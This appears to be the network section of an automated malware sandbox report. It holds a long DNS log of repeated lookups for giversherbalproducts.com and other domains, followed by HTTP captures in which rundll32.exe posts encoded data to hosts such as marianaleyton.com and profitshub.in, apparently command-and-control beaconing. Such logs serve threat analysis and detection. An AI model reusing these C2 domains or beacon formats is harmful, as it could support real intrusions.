Oct 4, 2021 16:03:56.963423014 CEST	8.8.8.8	192.168.2.3	0xc3f2	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:57.826384068 CEST	8.8.8.8	192.168.2.3	0x91e2	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:57.834203959 CEST	8.8.8.8	192.168.2.3	0xbd3f	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:57.854995012 CEST	8.8.8.8	192.168.2.3	0x77cf	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:58.614584923 CEST	8.8.8.8	192.168.2.3	0x2a0d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:58.837140083 CEST	8.8.8.8	192.168.2.3	0x7981	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:58.859942913 CEST	8.8.8.8	192.168.2.3	0xf5d8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:59.461350918 CEST	8.8.8.8	192.168.2.3	0x11aa	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:59.675286055 CEST	8.8.8.8	192.168.2.3	0xc288	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:03:59.698195934 CEST	8.8.8.8	192.168.2.3	0xb329	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:00.289268017 CEST	8.8.8.8	192.168.2.3	0xe30c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:00.592839956 CEST	8.8.8.8	192.168.2.3	0xe042	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:00.615051985 CEST	8.8.8.8	192.168.2.3	0x4791	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:01.205570936 CEST	8.8.8.8	192.168.2.3	0xe5a8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:01.377588987 CEST	8.8.8.8	192.168.2.3	0x1ab0	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:01.402446985 CEST	8.8.8.8	192.168.2.3	0x7f9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:02.009243011 CEST	8.8.8.8	192.168.2.3	0xc369	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:02.277010918 CEST	8.8.8.8	192.168.2.3	0xb0cc	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:02.303245068 CEST	8.8.8.8	192.168.2.3	0xa37a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:02.947508097 CEST	8.8.8.8	192.168.2.3	0x7d88	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:03.201834917 CEST	8.8.8.8	192.168.2.3	0xd98c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:03.224719048 CEST	8.8.8.8	192.168.2.3	0xee06	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.048830032 CEST	8.8.8.8	192.168.2.3	0xaf39	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.058139086 CEST	8.8.8.8	192.168.2.3	0x89c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.081125975 CEST	8.8.8.8	192.168.2.3	0x6fe5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.842437029 CEST	8.8.8.8	192.168.2.3	0x6702	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.865793943 CEST	8.8.8.8	192.168.2.3	0xf7d4	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:04.929737091 CEST	8.8.8.8	192.168.2.3	0x3494	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:05.646228075 CEST	8.8.8.8	192.168.2.3	0x1271	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:05.671710014 CEST	8.8.8.8	192.168.2.3	0x1ddd	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:05.825814009 CEST	8.8.8.8	192.168.2.3	0x8f7b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:06.591614008 CEST	8.8.8.8	192.168.2.3	0x5901	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:06.616869926 CEST	8.8.8.8	192.168.2.3	0xed64	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:06.726072073 CEST	8.8.8.8	192.168.2.3	0x796e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:07.531229973 CEST	8.8.8.8	192.168.2.3	0xdc99	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:07.555145979 CEST	8.8.8.8	192.168.2.3	0xeea6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:07.730232000 CEST	8.8.8.8	192.168.2.3	0x3fa5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:08.329896927 CEST	8.8.8.8	192.168.2.3	0x5c63	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:08.353105068 CEST	8.8.8.8	192.168.2.3	0x1b9a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:08.605485916 CEST	8.8.8.8	192.168.2.3	0x6a99	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:09.154150009 CEST	8.8.8.8	192.168.2.3	0x37ca	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:09.177862883 CEST	8.8.8.8	192.168.2.3	0xde74	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:09.397866011 CEST	8.8.8.8	192.168.2.3	0x5c97	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:09.995023012 CEST	8.8.8.8	192.168.2.3	0xe02a	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.022738934 CEST	8.8.8.8	192.168.2.3	0xb18a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.197271109 CEST	8.8.8.8	192.168.2.3	0x7b8a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.796456099 CEST	8.8.8.8	192.168.2.3	0xe12c	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.823929071 CEST	8.8.8.8	192.168.2.3	0xec7d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:10.987013102 CEST	8.8.8.8	192.168.2.3	0xc1f2	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:11.746062994 CEST	8.8.8.8	192.168.2.3	0x10c1	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:11.754894972 CEST	8.8.8.8	192.168.2.3	0xd376	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:11.766083956 CEST	8.8.8.8	192.168.2.3	0x8f19	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:12.543385983 CEST	8.8.8.8	192.168.2.3	0x9d6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:12.609298944 CEST	8.8.8.8	192.168.2.3	0x7de1	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:12.630281925 CEST	8.8.8.8	192.168.2.3	0x4d1f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:13.430363894 CEST	8.8.8.8	192.168.2.3	0xe356	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:13.498629093 CEST	8.8.8.8	192.168.2.3	0xd6d0	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:13.523816109 CEST	8.8.8.8	192.168.2.3	0x35f2	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:14.322264910 CEST	8.8.8.8	192.168.2.3	0xbf13	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:14.360483885 CEST	8.8.8.8	192.168.2.3	0xaa8b	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:14.382448912 CEST	8.8.8.8	192.168.2.3	0x78e7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:15.181638956 CEST	8.8.8.8	192.168.2.3	0x79e5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:15.269340992 CEST	8.8.8.8	192.168.2.3	0x2981	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:15.289110899 CEST	8.8.8.8	192.168.2.3	0xdfb5	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:16.105863094 CEST	8.8.8.8	192.168.2.3	0xbafc	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:16.225892067 CEST	8.8.8.8	192.168.2.3	0x4929	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:16.253535986 CEST	8.8.8.8	192.168.2.3	0x90c6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:16.998881102 CEST	8.8.8.8	192.168.2.3	0x138e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.054598093 CEST	8.8.8.8	192.168.2.3	0x1e11	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.076562881 CEST	8.8.8.8	192.168.2.3	0xdeec	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.798556089 CEST	8.8.8.8	192.168.2.3	0xbaa8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.815941095 CEST	8.8.8.8	192.168.2.3	0xecbd	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:17.845973969 CEST	8.8.8.8	192.168.2.3	0x1503	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:18.761976957 CEST	8.8.8.8	192.168.2.3	0x4fce	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:18.771692038 CEST	8.8.8.8	192.168.2.3	0x26ab	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:18.788568974 CEST	8.8.8.8	192.168.2.3	0xec2e	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:19.614320993 CEST	8.8.8.8	192.168.2.3	0xf067	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:19.643738985 CEST	8.8.8.8	192.168.2.3	0x957	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:19.770807981 CEST	8.8.8.8	192.168.2.3	0x1dd8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:20.501980066 CEST	8.8.8.8	192.168.2.3	0x9f71	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:20.530587912 CEST	8.8.8.8	192.168.2.3	0xa03	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:20.696583033 CEST	8.8.8.8	192.168.2.3	0x51eb	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:21.430094004 CEST	8.8.8.8	192.168.2.3	0x79cc	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:21.456296921 CEST	8.8.8.8	192.168.2.3	0x6704	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:21.616421938 CEST	8.8.8.8	192.168.2.3	0x8f01	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:22.216366053 CEST	8.8.8.8	192.168.2.3	0xe7cf	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:22.240331888 CEST	8.8.8.8	192.168.2.3	0xc7a9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:22.403028965 CEST	8.8.8.8	192.168.2.3	0x5d84	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:23.312469006 CEST	8.8.8.8	192.168.2.3	0x3944	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:23.344599962 CEST	8.8.8.8	192.168.2.3	0x52d6	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:23.748565912 CEST	8.8.8.8	192.168.2.3	0xb7e9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:25.189812899 CEST	8.8.8.8	192.168.2.3	0x70d6	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:25.252691031 CEST	8.8.8.8	192.168.2.3	0x41d9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:25.722111940 CEST	8.8.8.8	192.168.2.3	0x127f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:26.143767118 CEST	8.8.8.8	192.168.2.3	0xbe7b	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:26.166659117 CEST	8.8.8.8	192.168.2.3	0xa7cf	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:26.845611095 CEST	8.8.8.8	192.168.2.3	0x37b7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:27.122755051 CEST	8.8.8.8	192.168.2.3	0xd2f5	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:27.148716927 CEST	8.8.8.8	192.168.2.3	0x1d1b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:27.638866901 CEST	8.8.8.8	192.168.2.3	0xbd7a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:28.141030073 CEST	8.8.8.8	192.168.2.3	0x575b	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:28.167196989 CEST	8.8.8.8	192.168.2.3	0x9542	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:28.505954981 CEST	8.8.8.8	192.168.2.3	0x1be3	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:28.994983912 CEST	8.8.8.8	192.168.2.3	0x24c8	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:29.293059111 CEST	8.8.8.8	192.168.2.3	0x90f	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:29.855042934 CEST	8.8.8.8	192.168.2.3	0x3ea7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:30.180708885 CEST	8.8.8.8	192.168.2.3	0x6e41	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:30.668546915 CEST	8.8.8.8	192.168.2.3	0x3235	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:31.152273893 CEST	8.8.8.8	192.168.2.3	0xe04b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:31.469486952 CEST	8.8.8.8	192.168.2.3	0x2754	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:31.969218969 CEST	8.8.8.8	192.168.2.3	0x85e2	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:32.471401930 CEST	8.8.8.8	192.168.2.3	0x9c6b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:32.767283916 CEST	8.8.8.8	192.168.2.3	0x81d4	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:33.305224895 CEST	8.8.8.8	192.168.2.3	0x38a1	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:33.854981899 CEST	8.8.8.8	192.168.2.3	0x4d86	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:34.299360991 CEST	8.8.8.8	192.168.2.3	0x5926	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:34.856122017 CEST	8.8.8.8	192.168.2.3	0xa0cd	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:35.116594076 CEST	8.8.8.8	192.168.2.3	0xb857	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:35.772994041 CEST	8.8.8.8	192.168.2.3	0xd8b9	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:36.047863960 CEST	8.8.8.8	192.168.2.3	0x8f7c	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:36.643013000 CEST	8.8.8.8	192.168.2.3	0xdd07	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:37.012183905 CEST	8.8.8.8	192.168.2.3	0xf1ff	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:37.539055109 CEST	8.8.8.8	192.168.2.3	0x1c48	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:37.786815882 CEST	8.8.8.8	192.168.2.3	0xbf7	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:38.374624014 CEST	8.8.8.8	192.168.2.3	0x353b	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:38.595509052 CEST	8.8.8.8	192.168.2.3	0x360	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:39.233187914 CEST	8.8.8.8	192.168.2.3	0x383d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:39.336165905 CEST	8.8.8.8	192.168.2.3	0x5d86	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:39.953632116 CEST	8.8.8.8	192.168.2.3	0xeadb	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:40.226655960 CEST	8.8.8.8	192.168.2.3	0x5e82	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:40.879511118 CEST	8.8.8.8	192.168.2.3	0x23f9	No error (0)	opulent-imports.com		185.20.51.238	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:41.035438061 CEST	8.8.8.8	192.168.2.3	0xb72	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:41.179369926 CEST	8.8.8.8	192.168.2.3	0xb8bb	No error (0)	nitro2point0.com		103.50.162.157	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:41.828788042 CEST	8.8.8.8	192.168.2.3	0xfb0b	No error (0)	streamline-trade.com		192.185.113.204	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:41.853686094 CEST	8.8.8.8	192.168.2.3	0x29c0	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:42.388884068 CEST	8.8.8.8	192.168.2.3	0xe5de	No error (0)	sologicgroup.com		51.222.139.54	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:42.692301035 CEST	8.8.8.8	192.168.2.3	0xac15	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:42.959688902 CEST	8.8.8.8	192.168.2.3	0xf5fc	No error (0)	pedroaros.cl		192.185.46.34	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:43.450861931 CEST	8.8.8.8	192.168.2.3	0xdb5c	No error (0)	apimar.eu		128.0.46.214	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:43.669136047 CEST	8.8.8.8	192.168.2.3	0x4d6a	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:44.443403959 CEST	8.8.8.8	192.168.2.3	0x9edd	No error (0)	baetrading.com		192.254.235.244	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:44.454422951 CEST	8.8.8.8	192.168.2.3	0x8c92	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:45.059448957 CEST	8.8.8.8	192.168.2.3	0x8ced	No error (0)	ditrpshop.in		166.62.10.34	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:56.477972984 CEST	8.8.8.8	192.168.2.3	0x7d31	No error (0)	surveillantfire.com		50.87.147.76	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:57.097237110 CEST	8.8.8.8	192.168.2.3	0xd62	No error (0)	dhananialegalaid.com		184.168.102.202	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:58.168282032 CEST	8.8.8.8	192.168.2.3	0x8a7b	No error (0)	aulaintelimundo.com		67.227.144.24	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:58.921700001 CEST	8.8.8.8	192.168.2.3	0x19df	No error (0)	muwatin.net		185.146.22.232	A (IP address)	IN (0x0001)
Oct 4, 2021 16:04:59.570779085 CEST	8.8.8.8	192.168.2.3	0xadf9	No error (0)	nkp.hr		185.58.73.28	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:00.168824911 CEST	8.8.8.8	192.168.2.3	0x991a	No error (0)	kvrassociates.net		103.125.80.58	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:01.343904972 CEST	8.8.8.8	192.168.2.3	0x27f2	No error (0)	marianaleyton.com		165.227.90.171	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:01.779867887 CEST	8.8.8.8	192.168.2.3	0xa174	No error (0)	profitshub.in		199.193.116.170	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:02.405769110 CEST	8.8.8.8	192.168.2.3	0x8133	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:02.431816101 CEST	8.8.8.8	192.168.2.3	0xe592	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:03.302818060 CEST	8.8.8.8	192.168.2.3	0xe8d6	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:03.360259056 CEST	8.8.8.8	192.168.2.3	0x1076	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:04.184842110 CEST	8.8.8.8	192.168.2.3	0x862f	Name error (3)	hynot-adventures.com	none	none	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:04.208344936 CEST	8.8.8.8	192.168.2.3	0x1b5d	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:34.233105898 CEST	8.8.8.8	192.168.2.3	0xcd39	No error (0)	giversherbalproducts.com		198.38.82.168	A (IP address)	IN (0x0001)
Oct 4, 2021 16:05:34.233511925 CEST	8.8.8.8	192.168.2.3	0x585e	No error (0)	opulent-imports.com		185.20.51.238	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

marianaleyton.com

profitshub.in

giversherbalproducts.com

opulent-imports.com

nitro2point0.com

streamline-trade.com

sologicgroup.com

pedroaros.cl

apimar.eu

baetrading.com

ditrpshop.in

surveillantfire.com

dhananialegalaid.com

aulaintelimundo.com

muwatin.net

nkp.hr

kvrassociates.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49753	165.227.90.171	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:08.441149950 CEST	1041	OUT	POST /4ByNgaVdId6/OQsaDixzHTgtfjMcGypGenN5Yn59cmV+YXg= HTTP/1.1 Host: marianaleyton.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49754	199.193.116.170	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:09.003901005 CEST	1041	OUT	POST /eJDLM6siEv/ASk5Kx0SPR8lJjE5eTg9GkN6dX1le310YXlkeA== HTTP/1.1 Host: profitshub.in Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:09.242959023 CEST	1042	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:09 GMT Server: Apache Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49763	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
